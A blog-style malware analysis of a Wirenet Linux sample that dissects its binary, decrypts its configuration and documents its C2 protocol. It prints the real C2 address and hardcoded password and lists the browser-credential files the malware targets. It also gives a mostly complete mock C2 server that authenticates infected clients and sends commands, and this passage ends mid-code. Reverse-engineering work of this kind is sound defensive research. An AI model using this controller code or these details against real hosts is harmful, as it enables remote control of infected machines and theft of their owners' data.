Like many peoples how wishing to level up in reverse engineering, i recently attempted to reverse a malware.
I therefore cloned theZoo (https://github.com/ytisf/theZoo), and started analyzing a randomly chosen sample.
This sample occured to be a wirenet sample. Wirenet, which is a malware targeting Linux and MacOS, was discovered around 2013 and has already been thoroughly analyzed.
There is therefore nothing new here, but i wanted to do this by myself.
So, let’s go ! The binary we’re gonna analyze has the following MD5 hash:
$ md5sum wirenet
9a0e765eecc5433af3dc726206ecc56e wirenet
Quite expectedly, the binary occurs to be stripped:
$ file wirenet
wirenet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1d6a83ebcbe23ce206306ae89f0ec24b4c028b2c, stripped
Which means that its .symtab sections (among other) has been removed:
$ readelf --sections wirenet
Il y a 21 en-têtes de section, débutant à l'adresse de décalage 0xf848:
En-têtes de section :
[Nr] Nom Type Adr Décala.Taille ES Fan LN Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.gnu.bu[...] NOTE 08048168 000168 000024 00 A 0 0 4
[ 3] .hash HASH 0804818c 00018c 000904 04 A 5 0 4
[ 4] .gnu.hash GNU_HASH 08048a90 000a90 0007d8 04 A 5 0 4
[ 5] .dynsym DYNSYM 08049268 001268 001380 10 A 6 1 4
[ 6] .dynstr STRTAB 0804a5e8 0025e8 000fa9 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804b592 003592 000270 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0804b804 003804 0000e0 00 A 6 3 4
[ 9] .rel.plt REL 0804b8e4 0038e4 000250 08 A 5 10 4
[10] .plt PROGBITS 0804bb40 003b40 0004b0 04 AX 0 0 16
[11] .text PROGBITS 0804bff0 003ff0 009e92 00 AX 0 0 16
[12] .rodata PROGBITS 08055e88 00de88 000aed 00 A 0 0 8
[13] .eh_frame_hdr PROGBITS 08056978 00e978 000024 00 A 0 0 4
[14] .eh_frame PROGBITS 0805699c 00e99c 000080 00 A 0 0 4
[15] .dynamic DYNAMIC 08057f3c 00ef3c 0000b8 08 WA 6 0 4
[16] .got.plt PROGBITS 08057ff4 00eff4 000134 04 WA 0 0 4
[17] .data PROGBITS 08058128 00f128 000618 00 WA 0 0 4
[18] .bss NOBITS 08058740 00f740 003b64 00 WA 0 0 4
[19] .comment PROGBITS 00000000 00f740 000056 01 MS 0 0 1
[20] .shstrtab STRTAB 00000000 00f796 0000b1 00 0 0 1
Clé des fanions :
W (écriture), A (allocation), X (exécution), M (fusion), S (chaînes), I (info),
L (ordre des liens), O (traitement supplémentaire par l'OS requis), G (groupe),
T (TLS), C (compressé), x (inconnu), o (spécifique à l'OS), E (exclu),
p (processor specific)
Another classical step when reversing a malware is to use the strings command:
$ strings wirenet
/lib/ld-linux.so.2
:IaB8
@P B
jIIH
-*l5_
Bpl=
7Fs_
*vXXK
libdl.so.2
dlopen
dlsym
dlclose
libpthread.so.0
pthread_mutex_unlock
pthread_create
__errno_location
(...)
The output contains around 900 lines. Among them, we can find some interesting information who give a fairly clear first idea of what this malware does.
Thus, we see strings who seems dedicated to handle HTTP requests:
FCONNECT %s:%d HTTP/1.0
200 OK
(...)
GET %s HTTP/1.1
strings related to firefox, thunderbird and sqlite, which suggests that the malware might have (passwords/cookies)-stealing functions targeting firefox and thunderbird (firefox stores various information such as cookies, history into sqlite files):
firefox-3*
/usr/lib
firefox-4*
thunderbird-*
libmozsqlite3.so
HOME
%s/.mozilla/firefox/profiles.ini
%s/.mozilla/firefox/%s
%s/.thunderbird/profiles.ini
%s/.thunderbird/%s
%s/.mozilla/seamonkey/profiles.ini
%s/.mozilla/seamonkey/%s
%s/signons.sqlite
NSS_Init
PK11_GetInternalKeySlot
PK11_Authenticate
NSSBase64_DecodeBuffer
PK11SDR_Decrypt
PK11_FreeSlot
NSS_Shutdown
sqlite3_open
sqlite3_close
sqlite3_prepare_v2
sqlite3_step
sqlite3_column_text
select * from moz_logins
%c%s
%s/.opera/wand.dat
%s/.purple/accounts.xml
In the same way, the binary contains google-chrome / chromium related paths, which also suggests passwords/cookies stealing functionality:
$ cat ~/.config/autostart/WIFIADAPTER.desktop
%s/.config/autostart/%s.desktop
/tmp/.%s
%s/.config/autostart
%s/%s.desktop
[Desktop Entry]
Type=Application
Exec="%s"
Hidden=false
Name=%s
Looking at the imports section also gives an idea of what the binary does, but here something quite strange occurs:
$ objdump -T wirenet
wirenet: format de fichier elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 DF *UND* 00000000 GLIBC_2.0 setsockopt
00000000 DF *UND* 00000000 GLIBC_2.0 pthread_mutex_unlock
00000000 DF *UND* 00000000 GLIBC_2.3.4 __snprintf_chk
00000000 DF *UND* 00000000 GLIBC_2.0 strstr
00000000 DF *UND* 00000000 GLIBC_2.0 strcmp
00000000 DF *UND* 00000000 GLIBC_2.0 read
00000000 DF *UND* 00000000 GLIBC_2.0 dup
00000000 DF *UND* 00000000 GLIBC_2.0 free
00000000 DF *UND* 00000000 GLIBC_2.0 fgets
00000000 DF *UND* 00000000 GLIBC_2.1 fclose
(...)
08054aa3 g DF .text 000000bf Base SendAuthenticationPacket
08052233 g DF .text 0000002e Base MemCompare
0804f385 g DF .text 00000015 Base cpMkDir
0804ebf2 g DF .text 0000023c Base cpListFiles
0805be64 g DO .bss 00000004 Base _XGetImage
08051de0 g DF .text 00000052 Base StrToInt
08058610 g DO .data 00000100 Base ConnectionString
0804ebdc g DF .text 00000016 Base cpListDrives
08050be8 g DF .text 000000d0 Base ExtractProfileName
08054906 g DF .text 00000080 Base RC4Crypt
08051ce0 g DF .text 0000003b Base StrCopy
0805be28 g DO .bss 00000004 Base _XGetWMName
08053f88 g DF .text 00000029 Base SubBytes
08051d1b g DF .text 00000064 Base StrConcatenate
080517af g DF .text 000001d9 Base DecodeSQLitePayloadData
08050937 g DF .text 00000124 Base cpMouseDown
0805be68 g DO .bss 00000004 Base _XGetInputFocus
08053e8f g DF .text 00000044 Base SubWord
0804f172 g DF .text 00000109 Base cpCopyFile
While the begining of this .dynsym section dump references various functions imports from libc, the end of this dump contains internal functions, such as cpCopyFile, RC4Crypt or SendAuthenticationPacket.
Let’s compile the small program below to illustrate why it is uncommon:
$ cat test.c
#include <stdio.h>
int myfunc(int a, int b)
{
return a + b;
}
int main(int argc, char **argv)
{
printf("%d\n", myfunc(atoi(argv[1]), atoi(argv[2])));
return 0;
}
$ gcc test.c -o test ; cp test test.strip ; strip test.strip
(...)
Now if we compare the sections of test (original binary) and test.strip, we see that .symtab and .strtab sections are deleted from test.strip:
First on the original binary:
$ readelf -W --sections test
Il y a 30 en-têtes de section, débutant à l'adresse de décalage 0x39b0:
En-têtes de section :
[Nr] Nom Type Adr Décala.Taille ES Fan LN Inf Al
[ 0] NULL 0000000000000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 00000000000002a8 0002a8 00001c 00 A 0 0 1
[ 2] .note.gnu.build-id NOTE 00000000000002c4 0002c4 000024 00 A 0 0 4
[ 3] .note.ABI-tag NOTE 00000000000002e8 0002e8 000020 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000000308 000308 000024 00 A 5 0 8
[ 5] .dynsym DYNSYM 0000000000000330 000330 0000c0 18 A 6 1 8
[ 6] .dynstr STRTAB 00000000000003f0 0003f0 000089 00 A 0 0 1
[ 7] .gnu.version VERSYM 000000000000047a 00047a 000010 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000000490 000490 000020 00 A 6 1 8
[ 9] .rela.dyn RELA 00000000000004b0 0004b0 0000c0 18 A 5 0 8
[10] .rela.plt RELA 0000000000000570 000570 000030 18 AI 5 23 8
[11] .init PROGBITS 0000000000001000 001000 000017 00 AX 0 0 4
[12] .plt PROGBITS 0000000000001020 001020 000030 10 AX 0 0 16
[13] .plt.got PROGBITS 0000000000001050 001050 000008 08 AX 0 0 8
[14] .text PROGBITS 0000000000001060 001060 0001d1 00 AX 0 0 16
[15] .fini PROGBITS 0000000000001234 001234 000009 00 AX 0 0 4
[16] .rodata PROGBITS 0000000000002000 002000 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0000000000002008 002008 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 0000000000002050 002050 000130 00 A 0 0 8
[19] .init_array INIT_ARRAY 0000000000003de8 002de8 000008 08 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000003df0 002df0 000008 08 WA 0 0 8
[21] .dynamic DYNAMIC 0000000000003df8 002df8 0001e0 10 WA 6 0 8
[22] .got PROGBITS 0000000000003fd8 002fd8 000028 08 WA 0 0 8
[23] .got.plt PROGBITS 0000000000004000 003000 000028 08 WA 0 0 8
[24] .data PROGBITS 0000000000004028 003028 000010 00 WA 0 0 8
[25] .bss NOBITS 0000000000004038 003038 000008 00 WA 0 0 1
[26] .comment PROGBITS 0000000000000000 003038 000027 01 MS 0 0 1
[27] .symtab SYMTAB 0000000000000000 003060 000630 18 28 45 8
[28] .strtab STRTAB 0000000000000000 003690 000216 00 0 0 1
[29] .shstrtab STRTAB 0000000000000000 0038a6 000107 00 0 0 1
Then on the stripped one:
$ readelf -W --sections test.strip
Il y a 28 en-têtes de section, débutant à l'adresse de décalage 0x3158:
En-têtes de section :
[Nr] Nom Type Adr Décala.Taille ES Fan LN Inf Al
[ 0] NULL 0000000000000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 00000000000002a8 0002a8 00001c 00 A 0 0 1
[ 2] .note.gnu.build-id NOTE 00000000000002c4 0002c4 000024 00 A 0 0 4
[ 3] .note.ABI-tag NOTE 00000000000002e8 0002e8 000020 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000000308 000308 000024 00 A 5 0 8
[ 5] .dynsym DYNSYM 0000000000000330 000330 0000c0 18 A 6 1 8
[ 6] .dynstr STRTAB 00000000000003f0 0003f0 000089 00 A 0 0 1
[ 7] .gnu.version VERSYM 000000000000047a 00047a 000010 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000000490 000490 000020 00 A 6 1 8
[ 9] .rela.dyn RELA 00000000000004b0 0004b0 0000c0 18 A 5 0 8
[10] .rela.plt RELA 0000000000000570 000570 000030 18 AI 5 23 8
[11] .init PROGBITS 0000000000001000 001000 000017 00 AX 0 0 4
[12] .plt PROGBITS 0000000000001020 001020 000030 10 AX 0 0 16
[13] .plt.got PROGBITS 0000000000001050 001050 000008 08 AX 0 0 8
[14] .text PROGBITS 0000000000001060 001060 0001d1 00 AX 0 0 16
[15] .fini PROGBITS 0000000000001234 001234 000009 00 AX 0 0 4
[16] .rodata PROGBITS 0000000000002000 002000 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0000000000002008 002008 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 0000000000002050 002050 000130 00 A 0 0 8
[19] .init_array INIT_ARRAY 0000000000003de8 002de8 000008 08 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000003df0 002df0 000008 08 WA 0 0 8
[21] .dynamic DYNAMIC 0000000000003df8 002df8 0001e0 10 WA 6 0 8
[22] .got PROGBITS 0000000000003fd8 002fd8 000028 08 WA 0 0 8
[23] .got.plt PROGBITS 0000000000004000 003000 000028 08 WA 0 0 8
[24] .data PROGBITS 0000000000004028 003028 000010 00 WA 0 0 8
[25] .bss NOBITS 0000000000004038 003038 000008 00 WA 0 0 1
[26] .comment PROGBITS 0000000000000000 003038 000027 01 MS 0 0 1
[27] .shstrtab STRTAB 0000000000000000 00305f 0000f7 00 0 0 1
The test binary and its stripped version have the identical .dynsym sections:
$ objdump -T test
test: format de fichier elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000000 w D *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 printf
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 __libc_start_main
0000000000000000 w D *UND* 0000000000000000 __gmon_start__
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 atoi
0000000000000000 w D *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000000000 w DF *UND* 0000000000000000 GLIBC_2.2.5 __cxa_finalize
$ objdump -T test.strip
test.strip: format de fichier elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000000 w D *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 printf
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 __libc_start_main
0000000000000000 w D *UND* 0000000000000000 __gmon_start__
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 atoi
0000000000000000 w D *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000000000 w DF *UND* 0000000000000000 GLIBC_2.2.5 __cxa_finalize
Note that the myfunc function, internal to test program, does not appear in this section who only contains symbols from libc.
The only section in which myfunc appears is the symtab section of the unstripped binary :
$ objdump -t test | grep myfunc
0000000000001145 g F .text 0000000000000014 myfunc
To sum up:
- Symbols associated to internal functions (such myfunc in this example, and cpCopyFile, RC4Crypt or SendAuthenticationPacket in the malware) of an ELF binary only appear in the .symtab section (while .dynsym section contains symbols imported from external libraries)
- The .symtab section is removed when stripping a binary
- Therefore a stripped binary is not supposed to contain symbol/name of its internal functions.
- Therefore having a malware whose .dynsym section contains symbols of internal functions is quite uncommon.
After some researchs, it appears that it’s in fact possible to build a binary in such a way that its .dynsym section contains symbols of its internal functions: The –export-dynamic of the linker:
$ gcc test.c -o test.export -Wl,--export-dynamic
$ objdump -T test.export
test.export: format de fichier elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000000 w D *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 printf
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 __libc_start_main
0000000000000000 w D *UND* 0000000000000000 __gmon_start__
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 atoi
0000000000000000 w D *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000004038 g D .data 0000000000000000 Base _edata
0000000000004028 g D .data 0000000000000000 Base __data_start
0000000000004040 g D .bss 0000000000000000 Base _end
0000000000000000 w DF *UND* 0000000000000000 GLIBC_2.2.5 __cxa_finalize
0000000000004028 w D .data 0000000000000000 Base data_start
0000000000001145 g DF .text 0000000000000014 Base myfunc
0000000000002000 g DO .rodata 0000000000000004 Base _IO_stdin_used
00000000000011d0 g DF .text 000000000000005d Base __libc_csu_init
0000000000001060 g DF .text 000000000000002b Base _start
0000000000004038 g D .bss 0000000000000000 Base __bss_start
0000000000001159 g DF .text 0000000000000069 Base main
0000000000001230 g DF .text 0000000000000001 Base __libc_csu_fini
While this options gives a possible explanation of having our wirenet sample embedding names of its internal functions, there is no way to be sure what the wirenet developper exactly did.
Now let’s examinate the main() function in IDA.
The first basic block calls InitAESTable, InitTransfersList, ReadSettings and InstallHost subfunction:

We won’t dwell on InitAESTable and InitTransfersList, so let’s directly go to ReadSettings:

This function inits an RC4 decryption context (RC4Setup function), then perform several calls to RC4Crypt to decrypt its configuration, one call per configuration element:

The RC4 context is initialized with the BuildEncryptionKey hardcoded key:

We can reproduce this logic in a small python script to decrypt ourself the configuration of wirenet:
$ cat decrypt_wir$ cat decrypt_wirenet_config.py
#!/usr/bin/python3
import shutil
import sys
def read_file_at_offset(filepath, offset, length):
fd = open(filepath, 'rb')
fd.seek(offset)
buffer = fd.read(length)
fd.close()
str_buffer = ""
for i in range(len(buffer)):
c = hex(buffer[i])
d = c[2:]
e = d.zfill(2)
f = "\\x" + e
str_buffer += f
return buffer
def rc4_key_scheduling(key):
klen = len(key)
rc4_state = list(range(256))
j = 0
for i in range(256):
j = (j + rc4_state[i] + key[i % klen]) % 256
rc4_state[i], rc4_state[j] = rc4_state[j], rc4_state[i]
return rc4_state
def rc4_prga(rc4_state):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + rc4_state[i]) % 256
rc4_state[i], rc4_state[j] = rc4_state[j], rc4_state[i]
keystream = rc4_state[(rc4_state[i] + rc4_state[j]) % 256]
yield keystream
def rc4_keystream(key):
rc4_state = rc4_key_scheduling(key)
return rc4_prga(rc4_state)
def rc4_encrypt(key, plaintext):
keystream = rc4_keystream(key)
enc = list()
for p in plaintext:
c = (p ^ next(keystream)).to_bytes(1, 'little')
enc.append(c)
return b''.join(enc)
def mangle_str(string):
i = string.find(b'\x00')
if i == -1:
return string
else:
mangled = string[:i]
return mangled
def main(args):
filepath = args[1]
key = read_file_at_offset(filepath, 0xf4d8, 0x10)
encrypted_c2_addr = read_file_at_offset(filepath, 0xf610, 0xff)
encrypted_proxy_conf = read_file_at_offset(filepath, 0xf510, 0xff)
encrypted_password = read_file_at_offset(filepath, 0xf4ec, 0x20)
encrypted_hostId = read_file_at_offset(filepath, 0xf4c4, 0x10)
encrypted_mutexName = read_file_at_offset(filepath, 0xf4b8, 0x08)
encrypted_installPath = read_file_at_offset(filepath, 0xf434, 0x80)
encrypted_startupKeyName1 = read_file_at_offset(filepath, 0xf420, 0x10)
encrypted_startupKeyName2 = read_file_at_offset(filepath, 0xf3f8, 0x26)
encrypted_keyLoggerFileName = read_file_at_offset(filepath, 0xf374, 0x80)
encrypted_boolSettingsByte = read_file_at_offset(filepath, 0xf370, 0x03)
encrypted_connectionType = read_file_at_offset(filepath, 0xf36c, 0x03)
c2_addr = rc4_encrypt(key, encrypted_c2_addr)
proxy_conf = rc4_encrypt(key, encrypted_proxy_conf)
password = rc4_encrypt(key, encrypted_password)
hostId = rc4_encrypt(key, encrypted_hostId)
mutexName = rc4_encrypt(key, encrypted_mutexName)
installPath = rc4_encrypt(key, encrypted_installPath)
startupKeyName1 = rc4_encrypt(key, encrypted_startupKeyName1)
startupKeyName2 = rc4_encrypt(key, encrypted_startupKeyName2)
keyLoggerFileName = rc4_encrypt(key, encrypted_keyLoggerFileName)
boolSettingsByte = rc4_encrypt(key, encrypted_boolSettingsByte)
connectionType = rc4_encrypt(key, encrypted_connectionType)
print("key: %r" % key)
print("c2_addr: %r" % mangle_str(c2_addr))
print("proxy_conf: %r" % mangle_str(proxy_conf))
print("password: %r" % mangle_str(password))
print("hostId: %r" % mangle_str(hostId))
print("mutexName: %r" % mangle_str(mutexName))
print("installPath: %r" % mangle_str(installPath))
print("startupKeyName1: %r" % mangle_str(startupKeyName1))
print("startupKeyName2: %r" % mangle_str(startupKeyName2))
print("keyLoggerFileName: %r" % mangle_str(keyLoggerFileName))
print("boolSettingsByte: %r" % mangle_str(boolSettingsByte))
print("connectionType: %r" % mangle_str(connectionType))
main(sys.argv)
$ python3 ./decrypt_wirenet_config.py ./wirenet
key: b'U\xb9\xc7\xd6\xacJ4\xdf\xc2j\xf4\xe3\xd8\xc9\xccB'
c2_addr: b'212.7.208.65:4141;'
proxy_conf: b'-'
password: b'sm0k4s523syst3m523'
hostId: b'LINUX'
mutexName: b'vJEewiWD'
installPath: b'%home%/WIFIADAPT'
startupKeyName1: b'WIFIADAPTER'
startupKeyName2: b'-'
keyLoggerFileName: b'%Home%\\.m8d.dat'
boolSettingsByte: b'237'
connectionType: b'001'
The configuration contains, among other, the following parts:
- the IP address and TCP port of the C2,
- the proxy configuration,
- a password (its purpose will be explained later),
- the name of a file used as a mutex,
- a file where keystrokes are registered,
- a byte (set to 0x237) used as a bitfield who specifies which options are activated.
The next function is InstallHost:

What this function does depends on value of boolSettingByte (see above). InstallHost uses the IsOptionEnabled to test whether an option is enabled or not, each option being represented by a bit of boolSettingByte.
For instance, if IsOptionEnabled & 0x08 is not zero, than persistency via autostart is activated, and an entry is added to $HOME/.config/autostart directory, which is a common persistency mechanism in Ubuntu distribution.

To following functionalities or behaviour can be activated by the boolSettingByte:
- The malware can itself into $HOME/WIFIADAPT file.
- Persistency via $HOME/.config/autostart directory,
- Persistency via the $HOME/.xinitrc file,
- Keystrokes logging functionality,
- The malware can daemonize itself via calling setsid() function, who creates a new session dedicated to wirenet.
Once the installation process is finalized, wirenet intializes a mutual authentication with the C2 before being able to handle C2 request.
The mutual authentication uses the following procedure:
Client authentication:
- wirenet randomly chooses an Initialization Vector and a Salt using the function GenerateRandomData

- wirenet computes a 256-bits AES key using the function Calculate. This function derivates the key from the hardcoded-password « sm0k4s523syst3m523 » and the randomly chosen salt.
- wirenet encrypts a test packet, set to « RGI28DQ30QB8Q1F7 » with AES in CFB mode, using the initialization vector and the key

- wirenet sends a packet containing the salt, the IV and the encrypted test packet
- the C2 derivates the wirenet AES key using the salt and the password, and decrypts the encrypted test packet using this key and the client IV
Server authentication:
- The server generates its own salt and uses it to derivate an AES key. The derivation mechanism uses the same function and the same password as wirenet.
- The server encrypts the test packet using its own AES key and the client IV
- Finally, it sends a packet who contains its salt and the encrypted test packet
Once authentication is done, all the packets are encrypted. Both wirenet and the C2 use the IV generated by wirenet, but the AES key differs (wirenet uses its AES key and C2 uses its own).
The packets exchanged between wirenet and the C2 share the same structure:
<---------- 4 bytes ----------><--- 1 byte --->
+------------------------------+--------------+-------------------+
| encrypted_payload length + 1 | command_type | encrypted_payload |
+------------------------------+--------------+-------------------+
The command_type byte can take these values:
- 12: list directory
- 22: rename a file
- 23: delete a file
- 24: create a directory
- 34: get session-related information
- 36: list process
- 38: kill a process
- 39: list windows
- 49: take a screenshot
This list is not complete and other commands exist, allowing the operator to activate the keylogger, steal the browser password, execute a process…
Command incoming from the C2 are processed in the ProcessData which is essentially a giant switch over command_type, each command being processed by a specific function.

Finally, reversing wirenet allows the develop a moke-C2 in python:
#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
# Some harcoded elements
password = b'sm0k4s523syst3m523'
test_packet = b'RGI28DQ30QB8Q1F7'
server_salt = b'saltsaltsaltsaltsaltsaltsaltsalt'
# Some general purpose functions
## Print hexa reprsentation of a bytes buffer without ASCII interpretation
def printhex(msg, buffer):
str_buffer = ""
for i in range(len(buffer)):
c = hex(buffer[i])
d = c[2:]
e = d.zfill(2)
f = "\\x" + e
str_buffer += f
print("%s %s" % (msg, str_buffer) )
## Parse output of directory listing command (12)
def filelisting_beautifyer(raw_output):
output = raw_output.decode("utf-8")
beautiful_output = ""
offset = 0
while offset < len(output) - 1:
if output[offset] == '1':
current_separator = output[offset : offset + 2]
offset +=2
else:
current_separator = output[offset : offset + 1]
offset +=1
a = output.find('\x07', offset)
b = output.find('\x07', a + 1)
c = output.find('\x07', b + 1)
if current_separator == '0':
d = output.find('\x07', c + 1)
c = d
if current_separator == '0':
line_with_type = "f "
else:
line_with_type = "d "
line = output[offset : c - 1]
line_with_type += line.replace('\x07', ' ')
beautiful_output += line_with_type
beautiful_output += "\n"
offset = c + 1
return beautiful_output.strip()
## Parse output of process listing command (36)
def proclisting_beautifyer(raw_output):
output = raw_output.decode("utf-8")
beautiful_output = ""
offset = 0
while offset < len(output) - 1:
a = output.find('\x07', offset)
b = output.find('\x07', a + 1)
c = output.find('\x07', b + 1)
d = output.find('\x07', c + 1)
line = output[offset : d - 1]
#print(line)
pretty_line = line.replace('\x07', ' ')
beautiful_output += pretty_line
beautiful_output += "\n"
offset = d + 1
return beautiful_output.strip()
# Some crypto-related functions
## Derivate a 32-bytes secret key from a salt
def derivateKey(salt):
buffer = b''
for i in range(len(password)):
x = int(password[i])
y = ((x & 0xF0) >> 4) | ((x & 0x0F) << 4)
buffer += y.to_bytes(1, 'big')
for i in range(len(password), 32):
j = i & (8 * i | (i >> 5))
buffer += j.to_bytes(1, 'big')
a1 = buffer[len(password) >> 2]
v10 = len(password) ^ a1
output_list = []
for j in range(32):
v4 = salt[j]
v10 = buffer[j] ^ (0xFF & v10)
output_list += (v4 ^ v10).to_bytes(1, 'big')
v11 = v4 ^ v10
v12 = 4 * (v4 ^ v10)
v12 = salt[j] ^ v12
v4 = j ^ (j + len(password)) | (v11 >> 5) | (8 * v11)
output_list[j] = (v4 & 0xFF).to_bytes(1, 'big')
v10 = ~v12
output = b''.join(output_list)
return output
## AES-CFB encryption
def aes_encrypt_packet(key, iv, plaintext_packet):
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size = 128)
encrypted_packet = cipher.encrypt(plaintext_packet)
return encrypted_packet
## AES-CFB decryption
def aes_decrypt_packet(key, iv, encrypted_packet):
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size = 128)
decrypted_packet = cipher.decrypt(encrypted_packet)
return decrypted_packet
# Packets parsing functions
## Commands dictionaries
server_type_dict = {1: "ping request", 6: "client update", 7:"stop client", 8: "reconnect server", 9: "uninstall client", 12: "file listing request", 22: "file renaming request", 23: "file deletion request", 24: "dir create request", 32: "wirenet config request", 34: "get session info", 36: "process listing request", 38: "process killing request", 39: "window listing request", 53: "keystrokes log request"}
client_type_dict = {1: "ping response", 2: "heartbeat", 3: "client handshake", 5: "client fingerprinting", 12: "file listing response", 32: "wirenet config response", 34: "get sesion info", 36: "process listing response", 39: "window listing response"}
def usage():
print("commands:")
for i, key in enumerate(server_type_dict):
print("%r: %r" %(key, server_type_dict[key]))
## Says if a client command exists
def is_client_type_allowed(command):
return command in client_type_dict
## Says if a server command exists
def is_server_type_allowed(command):
return command in server_type_dict
## Basic consistency check on a client packet:
## - actual length vs declared length
## - command check
def client_packet_consistency_check(conn, packet):
# packet shall be at least 5 bytes long
packet_len = len(packet)
if packet_len < 5:
print("client packet is too short")
return (-1, packet)
# packet structure is:
# - 4 bytes (payload length, little endian)
# - 1 byte (command)
# - payload
packet_payload_len = int.from_bytes(packet[:4], byteorder='little')
# check if declared length and actual length are consistent
if packet_len != packet_payload_len + 4:
print(packet)
print("client packet length field and actual length are not consistent (%r vs %r), let's see if there is a remainder..." % (packet_len, packet_payload_len + 4))
# if not maybe the remainder of packet has been sent in another TCP packet
remainder = conn.recv(16384)
print("remainder: %r (%r bytes)" % (remainder, len(remainder)) )
packet += remainder
# then check lengths consistency again
packet_payload_len = int.from_bytes(packet[:4], byteorder='little')
if packet_len != packet_payload_len + 4:
print("client packet length field and actual length are not still consistent (%r vs %r)" % (packet_len, packet_payload_len + 4))
return (-1, packet)
# check if client command is legit
packet_request_type = int.from_bytes(packet[4:5], byteorder='little')
if is_client_type_allowed(packet_request_type) == False:
print("client packet type is unknown (%r)" % packet_request_type)
return (-1, packet)
return (packet_request_type, packet)
## Process a client handshake packet (type = 5)
def process_client_handshake(packet):
global client_iv
global client_key
# extract client_salt, client_iv and encrypted payload
client_salt = packet[5 : 5 + 32]
client_iv = packet[5 + 32 : 5 + 32 + 16]
client_encrypted_test_packet = packet[5 + 32 + 16 : 5 + 32 + 16 + 16]
printhex("client_salt: ", client_salt)
printhex("client_iv: ", client_iv)
printhex("Encrypted Test Packet: ", client_encrypted_test_packet)
# derivate the client AES key from client_salt
client_key = derivateKey(client_salt)
printhex("recomputed client_key: ", client_key)
# then decrypt the client packet
client_test_packet = aes_decrypt_packet(client_key, client_iv, client_encrypted_test_packet)
print("client test packet: %s" % client_test_packet)
# client handshake payload is supposed to be a fix test vector
if client_test_packet == test_packet:
print("client authenticated successfully!")
return True
else:
print("client didn't manage to authenticate:-(")
return False
## Function to build and send a packet
## - conn: where the packet shall be sent
## - server_packet_type: the server packet type to use
## - payload: ...well, the payload to use
def send_server_packet(conn, server_packet_type, payload):
# packet = (payload length) + (packet type) + payload
server_packet = (len(payload) + 1).to_bytes(4, 'little') + server_packet_type.to_bytes(1, 'little') + payload
printhex("sending packet: ", server_packet)
conn.sendall(server_packet)
## Function to build server handshake packet
def send_server_handshake(conn):
global client_iv
global authenticated
global server_key
printhex("client_iv: ", client_iv)
# derivate server_key from server_salt
server_key = derivateKey(server_salt)
printhex("server_key: ", server_key)
# the client expects us to send the test vector, encrypted with the server_key, and its own IV
server_encrypted_test_packet = aes_encrypt_packet(server_key, client_iv, test_packet)
printhex("server_encrypted_test_packet: ", server_encrypted_test_packet)
# once done, send the packet
send_server_packet(conn, 5, server_salt + server_encrypted_test_packet + b'PADDPADDPADDPADD')
print("server handshake message sent...")
## Decrypt a client packet
def decrypt_client_packet(packet):
global client_iv
global client_key
client_plaintext_packet = aes_decrypt_packet(client_key, client_iv, packet)
return client_plaintext_packet
## Process a client packet
## - Handle authentication state:
## - process client handshake, and return server handshake as a response
## - client sends a fingerprinting report upon successful handshake
## - If handshake has been done, decrypt and display the client packet
def client_packet_process(conn, packet):
global authenticated
packet_payload_len = int.from_bytes(packet[:4], byteorder='little')
packet_request_type = int.from_bytes(packet[4:5], byteorder='little')
if packet_request_type == 3:
if process_client_handshake(packet) == True:
send_server_handshake(conn)
if packet_request_type == 5:
print("client sent fingerprinting information, handshake successful!")
if authenticated == False:
authenticated = True
if authenticated == True and packet_request_type != 2:
client_plaintext_packet = decrypt_client_packet(packet[5:])
client_plaintext_packet_process(packet_request_type, client_plaintext_packet)
## Process a decrypted client packet into according to its packet type
def client_plaintext_packet_process(packet_request_type, client_plaintext_packet):
try:
# fingerprint response
if packet_request_type == 5:
print("\nclient fingerprint:\n" + client_plaintext_packet.decode("utf-8"))
# directory listing response
elif packet_request_type == 12:
print(filelisting_beautifyer(client_plaintext_packet))
# client configuration response
elif packet_request_type == 32:
print("\nclient configuration:\n" + client_plaintext_packet.decode("utf-8"))
# client configuration response
elif packet_request_type == 34:
print("\nget session info:\n" + client_plaintext_packet.decode("utf-8"))
# process listing response
elif packet_request_type == 36:
print(proclisting_beautifyer(client_plaintext_packet))
else:
print("decrypted data from client request %d: %r" % (packet_request_type, client_plaintext_packet))
except UnicodeDecodeError:
print("could not properly decode client packet %r, here is raw content: %r" % (packet_request_type, client_plaintext_packet))
## Build a server packet according to its command type
